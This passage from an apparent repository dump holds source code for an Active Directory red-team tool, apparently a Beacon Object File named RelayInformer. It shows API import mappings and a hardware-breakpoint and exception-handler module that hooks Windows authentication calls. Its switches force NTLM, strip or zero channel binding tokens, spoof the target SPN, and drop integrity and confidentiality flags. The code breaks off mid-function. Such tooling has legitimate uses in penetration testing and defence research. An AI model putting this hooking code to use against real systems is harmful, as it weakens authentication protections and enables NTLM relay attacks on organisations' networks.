SQLINTEGER StringLength);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLSetStmtAttr(SQLHSTMT StatementHandle, SQLINTEGER Attribute, SQLPOINTER Value, SQLINTEGER StringLength);\n\n//WS2_32\nWINBASEAPI int STDCALL WS2_32$closesocket(SOCKET s);\nWINBASEAPI u_short STDCALL WS2_32$htons(u_short hostshort);\nWINBASEAPI int STDCALL WS2_32$inet_pton(int af, const char *src, void *dst);\nWINBASEAPI int STDCALL WS2_32$recvfrom(SOCKET s, char *buf, int len, int flags, struct sockaddr *from, int *fromlen);\nWINBASEAPI int STDCALL WS2_32$sendto(SOCKET s, const char *buf, int len, int flags, const struct sockaddr *to, int tolen);\nWINBASEAPI int STDCALL WS2_32$setsockopt(SOCKET s, int level, int optname, const char *optval, int optlen);\nWINBASEAPI SOCKET STDCALL WS2_32$socket(int af, int type, int protocol);\nWINBASEAPI int STDCALL WS2_32$WSACleanup();\nWINBASEAPI int STDCALL WS2_32$WSAGetLastError();\nWINBASEAPI int STDCALL WS2_32$WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData);\nWINBASEAPI int STDCALL WS2_32$connect(SOCKET s, const struct sockaddr *name, int namelen);\nWINBASEAPI int STDCALL WS2_32$send(SOCKET s, const char *buf, int len, int flags);\nWINBASEAPI int STDCALL WS2_32$recv(SOCKET s, char *buf, int len, int flags);\nWINBASEAPI int WSAAPI WS2_32$getaddrinfo(const char *nodename,const char *servname,const struct addrinfo *hints,struct addrinfo **res);\nWINBASEAPI void WSAAPI WS2_32$freeaddrinfo(struct addrinfo *res);\n\n// WLDAP32\nWINBASEAPI ULONG WINAPI WLDAP32$ldap_connect(LDAP *ld, const struct l_timeval *timeout);\nWINBASEAPI ULONG WINAPI WLDAP32$ldap_unbind(LDAP *ld);\nWINBASEAPI LDAP* WINAPI WLDAP32$ldap_initW(PWSTR HostName, ULONG PortNumber);\nWINBASEAPI LDAP* WINAPI WLDAP32$ldap_sslinitW(PWSTR HostName, ULONG PortNumber, ULONG secure);\nWINBASEAPI ULONG WINAPI WLDAP32$ldap_set_optionW(LDAP *ld, int option, const void *invalue);\nWINBASEAPI ULONG WINAPI WLDAP32$ldap_sasl_bind_sW(LDAP *ld, const PWSTR dn, const PWSTR authmechanism, const BERVAL *cred, const PLDAPControlW *serverctrls, const PLDAPControlW *clientctrls, PBERVAL *serverdata);\nWINBASEAPI ULONG WINAPI WLDAP32$ldap_set_optionW(LDAP *ld, int option, const void *invalue);\nWINBASEAPI ULONG WINAPI WLDAP32$ldap_bind_s(LDAP *ld, const PSTR dn, const PWSTR cred, ULONG method);\nWINBASEAPI LDAP* WINAPI WLDAP32$ldap_init(PSTR HostName, ULONG PortNumber);\nWINBASEAPI ULONG WINAPI WLDAP32$ldap_bind(LDAP *ld, const PWSTR dn, const PWSTR cred, ULONG method);\nWINBASEAPI ULONG WINAPI WLDAP32$ldap_get_optionW(LDAP *ld, int option, void *outvalue);\n\n// DNSAPI\nWINBASEAPI DNS_STATUS WINAPI DNSAPI$DnsQuery_A(PCSTR lpstrName, WORD wType, DWORD Options, PVOID pExtra, PDNS_RECORDA* ppQueryResults, PVOID* pReserved);\nWINBASEAPI VOID WINAPI DNSAPI$DnsRecordListFree(PDNS_RECORDA pRecordList, DNS_FREE_TYPE FreeType);\n\n// WINHTTP\nWINBASEAPI HINTERNET WINAPI WINHTTP$WinHttpOpen(LPCWSTR pszAgentW, DWORD dwAccessType, LPCWSTR pszProxyW, LPCWSTR pszProxyBypassW, DWORD dwFlags);\nWINBASEAPI HINTERNET WINAPI WINHTTP$WinHttpConnect(HINTERNET hSession, LPCWSTR pswzServerName, INTERNET_PORT nServerPort, DWORD dwReserved);\nWINBASEAPI HINTERNET WINAPI WINHTTP$WinHttpOpenRequest(HINTERNET hConnect, LPCWSTR pwszVerb, LPCWSTR pwszObjectName, LPCWSTR pwszVersion, LPCWSTR pwszReferrer, LPCWSTR *ppwszAcceptTypes, DWORD dwFlags);\nWINBASEAPI BOOL WINAPI WINHTTP$WinHttpSendRequest(HINTERNET hRequest, LPCWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength, DWORD dwTotalLength, DWORD_PTR dwContext);\nWINBASEAPI BOOL WINAPI WINHTTP$WinHttpReceiveResponse(HINTERNET hRequest, LPVOID lpReserved);\nWINBASEAPI BOOL WINAPI WINHTTP$WinHttpQueryHeaders(HINTERNET hRequest, DWORD dwInfoLevel, LPCWSTR pwszName, LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex);\nWINBASEAPI BOOL WINAPI WINHTTP$WinHttpReadData(HINTERNET hRequest, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead);\nWINBASEAPI BOOL WINAPI WINHTTP$WinHttpCloseHandle(HINTERNET hInternet);\nWINBASEAPI BOOL WINAPI WINHTTP$WinHttpSetOption(HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, DWORD dwBufferLength);\nWINBASEAPI BOOL WINAPI WINHTTP$WinHttpQueryOption(HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, LPDWORD lpdwBufferLength);\nWINBASEAPI BOOL WINAPI WINHTTP$WinHttpQueryAuthSchemes(HINTERNET hRequest, LPDWORD lpdwSupportedSchemes, LPDWORD lpdwFirstScheme, LPDWORD pdwAuthTarget);\nWINBASEAPI BOOL WINAPI WINHTTP$WinHttpSetCredentials(HINTERNET hRequest, DWORD dwAuthTargets, DWORD dwAuthScheme, LPCWSTR pwszUserName, LPCWSTR pwszPassword, LPVOID pAuthParams);\nWINBASEAPI BOOL WINAPI WINHTTP$WinHttpAddRequestHeaders(HINTERNET hRequest, LPCWSTR lpszHeaders, DWORD dwHeadersLength, DWORD dwModifiers);\nWINBASEAPI BOOL WINAPI WINHTTP$WinHttpQueryDataAvailable(HINTERNET hRequest, LPDWORD lpdwNumberOfBytesAvailable);\nWINBASEAPI BOOL WINAPI WINHTTP$WinHttpCrackUrl(LPCWSTR lpszUrl, DWORD dwUrlLength, DWORD dwFlags, LPURL_COMPONENTSW lpUrlComponents);\n\n#else\n\n#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)\n#define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr)\n#define intZeroMemory(addr,size) MSVCRT$memset((addr),0,size)\n\n// KERNEL32\n#define KERNEL32$CloseHandle CloseHandle\n#define KERNEL32$CreateThread CreateThread\n#define Kernel32$WideCharToMultiByte  WideCharToMultiByte \n#define Kernel32$MultiByteToWideChar MultiByteToWideChar\n#define KERNEL32$HeapFree  HeapFree \n#define KERNEL32$GetProcessHeap GetProcessHeap\n#define KERNEL32$HeapAlloc HeapAlloc\n#define KERNEL32$WaitForSingleObject WaitForSingleObject\n#define KERNEL32$AddVectoredExceptionHandler AddVectoredExceptionHandler\n#define KERNEL32$RemoveVectoredExceptionHandler RemoveVectoredExceptionHandler\n#define KERNEL32$GetCurrentThread GetCurrentThread\n#define KERNEL32$GetCurrentThreadId GetCurrentThreadId\n#define KERNEL32$GetCurrentProcessId GetCurrentProcessId\n#define KERNEL32$GetThreadContext GetThreadContext\n#define KERNEL32$SetThreadContext SetThreadContext\n#define KERNEL32$GetModuleHandleA GetModuleHandleA\n#define KERNEL32$GetProcAddress GetProcAddress\n#define KERNEL32$GetComputerNameExA GetComputerNameExA\n#define KERNEL32$VirtualProtect VirtualProtect\n#define KERNEL32$GetSystemInfo GetSystemInfo\n#define KERNEL32$VirtualQuery VirtualQuery\n#define KERNEL32$LoadLibraryA LoadLibraryA\n#define KERNEL32$CreateToolhelp32Snapshot CreateToolhelp32Snapshot\n#define KERNEL32$Thread32First Thread32First\n#define KERNEL32$Thread32Next Thread32Next\n#define KERNEL32$OpenThread OpenThread\n#define KERNEL32$SuspendThread SuspendThread\n#define KERNEL32$ResumeThread ResumeThread\n\n// MSVCRT\n#define MSVCRT$atoi atoi\n#define MSVCRT$calloc calloc\n#define MSVCRT$free free\n#define MSVCRT$malloc malloc\n#define MSVCRT$memcpy memcpy\n#define MSVCRT$memset memset\n#define MSVCRT$memcmp memcmp\n#define MSVCRT$rand rand\n#define MSVCRT$srand srand\n#define MSVCRT$sprintf sprintf\n#define MSVCRT$strcat strcat\n#define MSVCRT$strcmp strcmp\n#define MSVCRT$strncmp strncmp\n#define MSVCRT$strchr strchr\n#define MSVCRT$strlen strlen\n#define MSVCRT$strncat strncat\n#define MSVCRT$strncpy strncpy\n#define MSVCRT$strstr strstr\n#define MSVCRT$time time\n#define MSVCRT$vsnprintf vsnprintf\n#define MSVCRT$strcpy strcpy\n#define MSVCRT$_strnicmp _strnicmp\n\n// ODBC32\n#define ODBC32$SQLAllocHandle SQLAllocHandle\n#define ODBC32$SQLCloseCursor SQLCloseCursor\n#define ODBC32$SQLDescribeCol SQLDescribeCol\n#define ODBC32$SQLDisconnect SQLDisconnect\n#define ODBC32$SQLDriverConnect SQLDriverConnect\n#define ODBC32$SQLExecDirect SQLExecDirect\n#define ODBC32$SQLFetch SQLFetch\n#define ODBC32$SQLFreeHandle SQLFreeHandle\n#define ODBC32$SQLGetData SQLGetData\n#define ODBC32$SQLGetDiagRec SQLGetDiagRec\n#define ODBC32$SQLNumResultCols SQLNumResultCols\n#define ODBC32$SQLMoreResults SQLMoreResults\n#define ODBC32$SQLSetEnvAttr SQLSetEnvAttr\n#define ODBC32$SQLSetStmtAttr SQLSetStmtAttr\n\n//WS2_32\n#define WS2_32$closesocket closesocket\n#define WS2_32$htons htons\n#define WS2_32$inet_pton inet_pton\n#define WS2_32$recvfrom recvfrom\n#define WS2_32$sendto sendto\n#define WS2_32$setsockopt setsockopt\n#define WS2_32$socket socket\n#define WS2_32$WSACleanup WSACleanup\n#define WS2_32$WSAGetLastError WSAGetLastError\n#define WS2_32$WSAStartup WSAStartup\n#define WS2_32$connect connect\n#define WS2_32$send send\n#define WS2_32$recv recv\n#define WS2_32$getaddrinfo getaddrinfo\n#define WS2_32$freeaddrinfo freeaddrinfo\n\n// WLDAP32\n#define WLDAP32$ldap_initA ldap_initA\n#define WLDAP32$ldap_sslinitA ldap_sslinitA\n#define WLDAP32$ldap_set_optionA ldap_set_optionA\n#define WLDAP32$ldap_connect ldap_connect\n#define WLDAP32$ldap_bind_sA ldap_bind_sA\n#define WLDAP32$ldap_unbind ldap_unbind\n#define WLDAP32$ldap_initW ldap_initW\n#define WLDAP32$ldap_sslinitW ldap_sslinitW\n#define WLDAP32$ldap_set_optionW ldap_set_optionW\n#define WLDAP32$ldap_sasl_bind_sW ldap_sasl_bind_sW\n#define WLDAP32$ldap_get_optionW ldap_get_optionW\n\n// DNSAPI\n#define DNSAPI$DnsQuery_A DnsQuery_A\n#define DNSAPI$DnsRecordListFree DnsRecordListFree\n#define WLDAP32$ldap_bind_s ldap_bind_s\n#define WLDAP32$ldap_init ldap_init\n#define WLDAP32$ldap_bind ldap_bind\n#define WLDAP32$ldap_get_optionW ldap_get_optionW\n\n// WINHTTP\n#define WINHTTP$WinHttpOpen WinHttpOpen\n#define WINHTTP$WinHttpConnect WinHttpConnect\n#define WINHTTP$WinHttpOpenRequest WinHttpOpenRequest\n#define WINHTTP$WinHttpSendRequest WinHttpSendRequest\n#define WINHTTP$WinHttpReceiveResponse WinHttpReceiveResponse\n#define WINHTTP$WinHttpQueryHeaders WinHttpQueryHeaders\n#define WINHTTP$WinHttpReadData WinHttpReadData\n#define WINHTTP$WinHttpCloseHandle WinHttpCloseHandle\n#define WINHTTP$WinHttpSetOption WinHttpSetOption\n#define WINHTTP$WinHttpQueryAuthSchemes WinHttpQueryAuthSchemes\n#define WINHTTP$WinHttpSetCredentials WinHttpSetCredentials\n#define WINHTTP$WinHttpAddRequestHeaders WinHttpAddRequestHeaders\n#define WINHTTP$WinHttpQueryDataAvailable WinHttpQueryDataAvailable\n#define WINHTTP$WinHttpQueryOption WinHttpQueryOption\n#define WINHTTP$WinHttpCrackUrl WinHttpCrackUrl\n\n#endif\n"
  },
  {
    "path": "AD-BOF/RelayInformer/common/hwbp.c",
    "content": "// Public API\n// - HWBP_SetOnAddress: set a hardware breakpoint (execute) in DR0-DR3 on current thread\n// - HWBP_Clear: clear a hardware breakpoint in DR0-DR3 on current thread\n// - HWBP_SetOnApi: resolve module!proc, register VEH (optional), set HWBP, return address and VEH handle\n// - HWBP_RemoveVeh: unregister a previously added VEH\n// - HWBP_SetOnApiEx: like HWBP_SetOnApi but can arm all threads too\n// - HWBP_ClearOnAllThreads: clear a DR index on all other threads (skip current; caller clears current)\n\n// DR target addresses for precise filtering\nstatic PVOID g_hw_iscw_addr = NULL;\nstatic PVOID g_hw_achw_addr = NULL;\nstatic PVOID g_hw_isca_addr = NULL;\nstatic PVOID g_hw_acha_addr = NULL;\n\nstatic inline void* hwbp_resolve_api(const char* moduleNameA, const char* procNameA) {\n\tif (!moduleNameA || !procNameA) return NULL;\n\tHMODULE hMod = KERNEL32$GetModuleHandleA(moduleNameA);\n\tif (!hMod) {\n\t\thMod = KERNEL32$LoadLibraryA(moduleNameA);\n\t\tif (!hMod) return NULL;\n\t}\n\tFARPROC fp = KERNEL32$GetProcAddress(hMod, procNameA);\n\treturn (void*)fp;\n}\n\nstatic inline BOOL hwbp_set_dr(CONTEXT* ctx, int regIndex, void* address) {\n\tif (!ctx || regIndex < 0 || regIndex > 3) return FALSE;\n\t// Assign address to the selected DRx\n\tswitch (regIndex) {\n\t\tcase 0: ctx->Dr0 = (ULONG_PTR)address; break;\n\t\tcase 1: ctx->Dr1 = (ULONG_PTR)address; break;\n\t\tcase 2: ctx->Dr2 = (ULONG_PTR)address; break;\n\t\tcase 3: ctx->Dr3 = (ULONG_PTR)address; break;\n\t\tdefault: return FALSE;\n\t}\n\t// Configure DR7: enable local breakpoint Ln, type=execute (RW=00), len=1 (LEN=00)\n\tULONG_PTR dr7 = ctx->Dr7;\n\t// Clear enable bits for the selected index (local/global)\n\tdr7 &= ~(1ULL << (regIndex * 2));     // Ln\n\tdr7 &= ~(1ULL << (regIndex * 2 + 1)); // Gn\n\t// Set local enable (Ln)\n\tdr7 |= (1ULL << (regIndex * 2));\n\t// Clear RWn and LENn fields (bits 16..31)\n\tconst unsigned rwShift = 16 + (regIndex * 4);\n\tconst unsigned lenShift = rwShift + 2;\n\tdr7 &= ~(3ULL << rwShift); // RWn = 00 (execute)\n\tdr7 &= ~(3ULL << lenShift); // LENn = 00 (1 byte) – ignored for execute\n\tctx->Dr7 = dr7;\n\treturn TRUE;\n}\n\nstatic inline BOOL hwbp_clear_dr(CONTEXT* ctx, int regIndex) {\n\tif (!ctx || regIndex < 0 || regIndex > 3) return FALSE;\n\t// Clear address in DRx\n\tswitch (regIndex) {\n\t\tcase 0: ctx->Dr0 = 0; break;\n\t\tcase 1: ctx->Dr1 = 0; break;\n\t\tcase 2: ctx->Dr2 = 0; break;\n\t\tcase 3: ctx->Dr3 = 0; break;\n\t\tdefault: return FALSE;\n\t}\n\t// Disable Ln/Gn and clear RW/LEN for this index\n\tULONG_PTR dr7 = ctx->Dr7;\n\tdr7 &= ~(1ULL << (regIndex * 2));     // Ln\n\tdr7 &= ~(1ULL << (regIndex * 2 + 1)); // Gn\n\tconst unsigned rwShift = 16 + (regIndex * 4);\n\tconst unsigned lenShift = rwShift + 2;\n\tdr7 &= ~(3ULL << rwShift);\n\tdr7 &= ~(3ULL << lenShift);\n\tctx->Dr7 = dr7;\n\treturn TRUE;\n}\n\nBOOL HWBP_SetOnAddress(void* address, int regIndex) {\n\tif (!address || regIndex < 0 || regIndex > 3) return FALSE;\n\tHANDLE hThread = KERNEL32$GetCurrentThread();\n\tCONTEXT ctx; intZeroMemory(&ctx, sizeof(ctx));\n\tctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;\n\tif (!KERNEL32$GetThreadContext(hThread, &ctx)) return FALSE;\n\tif (!hwbp_set_dr(&ctx, regIndex, address)) return FALSE;\n\treturn KERNEL32$SetThreadContext(hThread, &ctx);\n}\n\nBOOL HWBP_Clear(int regIndex) {\n\tif (regIndex < 0 || regIndex > 3) return FALSE;\n\tHANDLE hThread = KERNEL32$GetCurrentThread();\n\tCONTEXT ctx; intZeroMemory(&ctx, sizeof(ctx));\n\tctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;\n\tif (!KERNEL32$GetThreadContext(hThread, &ctx)) return FALSE;\n\tif (!hwbp_clear_dr(&ctx, regIndex)) return FALSE;\n\treturn KERNEL32$SetThreadContext(hThread, &ctx);\n}\n\nBOOL HWBP_RemoveVeh(PVOID vehHandle) {\n\tif (!vehHandle) return FALSE;\n\tULONG rc = KERNEL32$RemoveVectoredExceptionHandler(vehHandle);\n\treturn (rc != 0);\n}\n\n// Arm DR on all threads in the process for the given address/regIndex; returns count of threads armed\nstatic int ArmAllThreadsHwBps(void* address, int regIndex) {\n\tif (!address || regIndex < 0 || regIndex > 3) return 0;\n\tDWORD pid = KERNEL32$GetCurrentProcessId();\n\tDWORD currentTid = KERNEL32$GetCurrentThreadId();\n\tHANDLE snap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);\n\tif (snap == INVALID_HANDLE_VALUE) { return 0; }\n\tTHREADENTRY32 te; te.dwSize = sizeof(te);\n\tint armed = 0;\n\tif (KERNEL32$Thread32First(snap, &te)) {\n\t\tdo {\n\t\t\tif (te.th32OwnerProcessID != pid) continue;\n\t\t\tif (te.th32ThreadID == currentTid) {\n\t\t\t\t// current thread handled by caller\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tHANDLE th = KERNEL32$OpenThread(THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);\n\t\t\tif (!th) continue;\n\t\t\tKERNEL32$SuspendThread(th);\n\t\t\tCONTEXT ctx; intZeroMemory(&ctx, sizeof(ctx));\n\t\t\tctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;\n\t\t\tif (KERNEL32$GetThreadContext(th, &ctx)) {\n\t\t\t\tif (hwbp_set_dr(&ctx, regIndex, address)) {\n\t\t\t\t\tif (KERNEL32$SetThreadContext(th, &ctx)) {\n\t\t\t\t\t\tarmed++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tKERNEL32$ResumeThread(th);\n\t\t\tKERNEL32$CloseHandle(th);\n\t\t} while (KERNEL32$Thread32Next(snap, &te));\n\t}\n\tKERNEL32$CloseHandle(snap);\n\treturn armed;\n}\n\n// Clear the specified DR register on all other threads in the process\nint HWBP_ClearOnAllThreads(int regIndex) {\n    if (regIndex < 0 || regIndex > 3) return 0;\n    DWORD pid = KERNEL32$GetCurrentProcessId();\n    DWORD currentTid = KERNEL32$GetCurrentThreadId();\n    HANDLE snap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);\n    if (snap == INVALID_HANDLE_VALUE) { return 0; }\n    THREADENTRY32 te; te.dwSize = sizeof(te);\n    int cleared = 0;\n    if (KERNEL32$Thread32First(snap, &te)) {\n        do {\n            if (te.th32OwnerProcessID != pid) continue;\n            if (te.th32ThreadID == currentTid) continue;\n            HANDLE th = KERNEL32$OpenThread(THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);\n            if (!th) continue;\n            KERNEL32$SuspendThread(th);\n            CONTEXT ctx; intZeroMemory(&ctx, sizeof(ctx));\n            ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;\n            if (KERNEL32$GetThreadContext(th, &ctx)) {\n                if (hwbp_clear_dr(&ctx, regIndex)) {\n                    if (KERNEL32$SetThreadContext(th, &ctx)) {\n                        cleared++;\n                    }\n                }\n            }\n            KERNEL32$ResumeThread(th);\n            KERNEL32$CloseHandle(th);\n        } while (KERNEL32$Thread32Next(snap, &te));\n    }\n    KERNEL32$CloseHandle(snap);\n    return cleared;\n}\n\n// Convenience: resolve API, register VEH (optional), set HWBP. Any step failing will unwind VEH if set here.\nBOOL HWBP_SetOnApiEx(\n\tconst char* moduleNameA,\n\tconst char* procNameA,\n\tint regIndex,\n\tPVECTORED_EXCEPTION_HANDLER vehHandler,\n\tPVOID* outVehHandle,\n\tvoid** outResolvedAddress,\n\tBOOL armAllThreads\n) {\n\tif (!moduleNameA || !procNameA || regIndex < 0 || regIndex > 3) return FALSE;\n\tif (outVehHandle) *outVehHandle = NULL;\n\tif (outResolvedAddress) *outResolvedAddress = NULL;\n\n\tvoid* addr = hwbp_resolve_api(moduleNameA, procNameA);\n\tif (!addr) return FALSE;\n\tif (outResolvedAddress) *outResolvedAddress = addr;\n\n\t// Remember well-known targets for VEH filtering\n\tif (MSVCRT$strcmp(procNameA, \"InitializeSecurityContextW\") == 0) {\n\t\tg_hw_iscw_addr = addr;\n\t} else if (MSVCRT$strcmp(procNameA, \"AcquireCredentialsHandleW\") == 0) {\n\t\tg_hw_achw_addr = addr;\n\t} else if (MSVCRT$strcmp(procNameA, \"InitializeSecurityContextA\") == 0) {\n\t\tg_hw_isca_addr = addr;\n\t} else if (MSVCRT$strcmp(procNameA, \"AcquireCredentialsHandleA\") == 0) {\n\t\tg_hw_acha_addr = addr;\n\t}\n\n\tPVOID vehHandle = NULL;\n\tif (vehHandler) {\n\t\tvehHandle = KERNEL32$AddVectoredExceptionHandler(1, vehHandler);\n\t\tif (!vehHandle) return FALSE;\n\t\tif (outVehHandle) *outVehHandle = vehHandle;\n\t}\n\n\t// Arm current thread first\n\tif (!HWBP_SetOnAddress(addr, regIndex)) {\n\t\tif (vehHandle) {\n\t\t\tKERNEL32$RemoveVectoredExceptionHandler(vehHandle);\n\t\t\tif (outVehHandle) *outVehHandle = NULL;\n\t\t}\n\t\treturn FALSE;\n\t}\n\t// Optionally arm all other threads\n\tif (armAllThreads) {\n\t\tArmAllThreadsHwBps(addr, regIndex);\n\t}\n\treturn TRUE;\n}\n\n// Toggle to force NTLM when ACHW requests Kerberos/Negotiate (or NULL)\nstatic volatile LONG g_forceNtlm = 0;\n\n// CBT manipulation mode: 0=observe, 1=zero hash, 2=remove CBT\nstatic volatile LONG g_cbtMode = 0;\nstatic volatile LONG g_cbtModified = 0;\n\n// SPN override mode: 0=normal, 1=override TargetName with fake SPN\nstatic volatile LONG g_spnMode = 0;\nstatic volatile LONG g_spnModified = 0;\n\n// Optional: strip INTEGRITY (0x00010000) and CONFIDENTIALITY (0x00000010) from ISC fContextReq\nstatic volatile LONG g_stripProtFlags = 0;\n\nstatic BOOL is_readable(const void* p, SIZE_T cb) {\n    MEMORY_BASIC_INFORMATION mbi;\n    if (!p) return FALSE;\n    if (KERNEL32$VirtualQuery(p, &mbi, sizeof(mbi)) != sizeof(mbi)) return FALSE;\n    if (mbi.State != MEM_COMMIT) return FALSE;\n    // allow PAGE_READ* and PAGE_EXECUTE_READ* and writable variants\n    DWORD prot = mbi.Protect & 0xFF;\n    switch (prot) {\n        case PAGE_READONLY: case PAGE_READWRITE: case PAGE_WRITECOPY:\n        case PAGE_EXECUTE_READ: case PAGE_EXECUTE_READWRITE: case PAGE_EXECUTE_WRITECOPY:\n            break;\n        default: return FALSE;\n    }\n    // crude bound check for the requested range\n    SIZE_T avail = (SIZE_T)((BYTE*)mbi.BaseAddress + mbi.RegionSize - (BYTE*)p);\n    return avail >= cb;\n}\n\nstatic BOOL is_writable(void* p, SIZE_T cb) {\n    MEMORY_BASIC_INFORMATION mbi;\n    if (!p) return FALSE;\n    if (KERNEL32$VirtualQuery(p, &mbi, sizeof(mbi)) != sizeof(mbi)) return FALSE;\n    if (mbi.State != MEM_COMMIT) return FALSE;\n    DWORD prot = mbi.Protect & 0xFF;\n    switch (prot) {\n        case PAGE_READWRITE: case PAGE_WRITECOPY:\n        case PAGE_EXECUTE_READWRITE: case PAGE_EXECUTE_WRITECOPY:\n            break;\n        default: return FALSE;\n    }\n    SIZE_T avail = (SIZE_T)((BYTE*)mbi.BaseAddress + mbi.RegionSize - (BYTE*)p);\n    return avail >= cb;\n}\n\nstatic size_t safe_wcs_len(const wchar_t* s, size_t maxChars) {\n    if (!s) return 0;\n    for (size_t i = 0; i < maxChars; i++) {\n        if (!is_readable((const void*)(s + i), sizeof(wchar_t))) return i;\n        if (s[i] == L'\\0') return i;\n    }\n    return maxChars;\n}\n\nstatic void safe_wcs_to_utf8(const wchar_t* ws, char* out, size_t outSize) {\n    if (!out || outSize == 0) return;\n    out[0] = '\\0';\n    if (!ws) return;\n    size_t wlen = safe_wcs_len(ws, 512);\n    if (wlen == 0) return;\n    // Convert with explicit length\n    int need = Kernel32$WideCharToMultiByte(CP_UTF8, 0, ws, (int)wlen, out, (int)outSize - 1, NULL, NULL);\n    if (need > 0) out[need] = '\\0';\n}\n\nstatic BOOL safe_wcs_has_prefix(const wchar_t* ws, const wchar_t* prefix) {\n    if (!ws || !prefix) return FALSE;\n    size_t plen = 0;\n    while (prefix[plen] != L'\\0') plen++;\n    // Ensure the source is readable for the prefix length\n    for (size_t i = 0; i < plen; i++) {\n        if (!is_readable((const void*)(ws + i), sizeof(wchar_t))) return FALSE;\n        if (ws[i] != prefix[i]) return FALSE;\n    }\n    return TRUE;\n}\n\nstatic BOOL safe_str_has_prefix(const char* s, const char* prefix) {\n    if (!s || !prefix) return FALSE;\n    size_t plen = 0;\n    while (prefix[plen] != '\\0') plen++;\n    // Ensure the source is readable for the prefix length\n    for (size_t i = 0; i < plen; i++) {\n        if (!is_readable((const void*)(s + i), sizeof(char))) return FALSE;\n        if (s[i] != prefix[i]) return FALSE;\n    }\n    return TRUE;\n}\n\nstatic char clower(char c) { return (c >= 'A' && c <= 'Z') ? (char)(c + 32) : c; }\nstatic BOOL safe_str_has_prefix_i(const char* s, const char* prefix) {\n    if (!s || !prefix) return FALSE;\n    size_t plen = 0;\n    while (prefix[plen] != '\\0') plen++;\n    for (size_t i = 0; i < plen; i++) {\n        if (!is_readable((const void*)(s + i), sizeof(char))) return FALSE;\n        if (clower(s[i]) != clower(prefix[i])) return FALSE;\n    }\n    return TRUE;\n}\n\n#ifndef BOF\nstatic void log_fContextReq_flags(ULONG f) {\n    internal_printf(\"[ISC] fContextReq: 0x%08X\\n\", f);\n    internal_printf(\"[ISC]   flags:\");\n    if (f & 0x00000001) internal_printf(\" ISC_REQ_DELEGATE\");\n    if (f & 0x00000002) internal_printf(\" ISC_REQ_MUTUAL_AUTH\");\n    if (f & 0x00000004) internal_printf(\" ISC_REQ_REPLAY_DETECT\");\n    if (f & 0x00000008) internal_printf(\" ISC_REQ_SEQUENCE_DETECT\");\n    if (f & 0x00000010) internal_printf(\" ISC_REQ_CONFIDENTIALITY\");\n    if (f & 0x00000020) internal_printf(\" ISC_REQ_USE_SESSION_KEY\");\n    if (f & 0x00000040) internal_printf(\" ISC_REQ_PROMPT_FOR_CREDS\");\n    if (f & 0x00000080) internal_printf(\" ISC_REQ_USE_SUPPLIED_CREDS\");\n    if (f & 0x00000100) internal_printf(\" ISC_REQ_ALLOCATE_MEMORY\");\n    if (f & 0x00000200) internal_printf(\" ISC_REQ_USE_DCE_STYLE\");\n    if (f & 0x00000400) internal_printf(\" ISC_REQ_DATAGRAM\");\n    if (f & 0x00000800) internal_printf(\" ISC_REQ_CONNECTION\");\n    if (f & 0x00001000) internal_printf(\" ISC_REQ_CALL_LEVEL\");\n    if (f & 0x00002000) internal_printf(\" ISC_REQ_FRAGMENT_SUPPLIED\");\n    if (f & 0x00004000) internal_printf(\" ISC_REQ_EXTENDED_ERROR\");\n    if (f & 0x00008000) internal_printf(\" ISC_REQ_STREAM\");\n    if (f & 0x00010000) internal_printf(\" ISC_REQ_INTEGRITY\");\n    if (f & 0x00020000) internal_printf(\" ISC_REQ_IDENTIFY\");\n    if (f & 0x00040000) internal_printf(\" ISC_REQ_NULL_SESSION\");\n    if (f & 0x00080000) internal_printf(\" ISC_REQ_MANUAL_CRED_VALIDATION\");\n    if (f & 0x00100000) internal_printf(\" ISC_REQ_RESERVED1\");\n    if (f & 0x00200000) internal_printf(\" ISC_REQ_FRAGMENT_TO_FIT\");\n    internal_printf(\"\\n\");\n}\n#endif\n\n// Bounded wide copy helper\nstatic void wcopy_bounded(wchar_t* dst, size_t dstMax, const wchar_t* src) {\n    if (!dst || dstMax == 0) return;\n    if (!src) { dst[0] = L'\\0'; return; }\n    size_t i = 0;\n    for (; i + 1 < dstMax && src[i] != L'\\0'; i++) dst[i] = src[i];\n    dst[i] = L'\\0';\n}\n\nstatic wchar_t wlower(wchar_t c) { return (c >= L'A' && c <= L'Z') ? (wchar_t)(c + 32) : c; }\nstatic BOOL safe_wcs_has_prefix_i(const wchar_t* ws, const wchar_t* prefix) {\n    if (!ws || !prefix) return FALSE;\n    for (size_t i = 0; prefix[i] != L'\\0'; i++) {\n        if (!is_readable((const void*)(ws + i), sizeof(wchar_t))) return FALSE;\n        if (wlower(ws[i]) != wlower(prefix[i])) return FALSE;\n    }\n    return TRUE;\n}\n\nstatic LONG CALLBACK ISC_VEH(EXCEPTION_POINTERS *ex) {\n    DWORD code = ex->ExceptionRecord->ExceptionCode;\n    if (code != 0x80000004 /* EXCEPTION_SINGLE_STEP */) return EXCEPTION_CONTINUE_SEARCH;\n#ifdef _WIN64\n    void* ip = (void*)ex->ContextRecord->Rip;\n#else\n    void* ip = (void*)ex->ContextRecord->Eip;\n#endif\n    // Ensure this DR hit is for our intended function\n    if (g_hw_iscw_addr && ip != g_hw_iscw_addr) return EXCEPTION_CONTINUE_SEARCH;\n    // New call: reset per-call flags\n    g_cbtModified = 0;\n    g_spnModified = 0;\n\n#ifdef 